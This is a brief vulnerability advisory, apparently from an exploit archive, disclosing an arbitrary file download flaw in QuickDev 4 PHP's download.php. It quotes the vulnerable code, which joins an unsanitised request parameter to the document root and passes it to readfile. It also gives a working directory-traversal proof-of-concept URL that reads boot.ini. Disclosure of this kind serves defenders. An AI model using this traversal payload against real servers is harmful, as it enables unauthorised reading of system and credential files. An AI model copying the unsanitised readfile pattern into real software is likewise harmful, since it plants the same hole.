QuickDev 4 (download.php file) File Disclosure Vulnerability

##################################################################################### [+] QuickDev 4 Php (download.php file) Arbitrary File Download [+] Discovered By SirGod [+] http://insecurity-ro.org [+] http://h4cky0u.org ##################################################################################### [+] Download : http://sourceforge.net/projects/quickdev4php/files/ [+] Arbitrary File Download - Vulnerable code in download.php -------------------------------------------------------------------------- $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file']; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header( "Content-Disposition: attachment; filename=".basename($file)); //header( "Content-Description: File Transfer"); @readfile($file); die(); -------------------------------------------------------------------------- - PoC http://127.0.0.1/download.php?file=../../../../../../boot.ini ##################################################################################### # sebug.net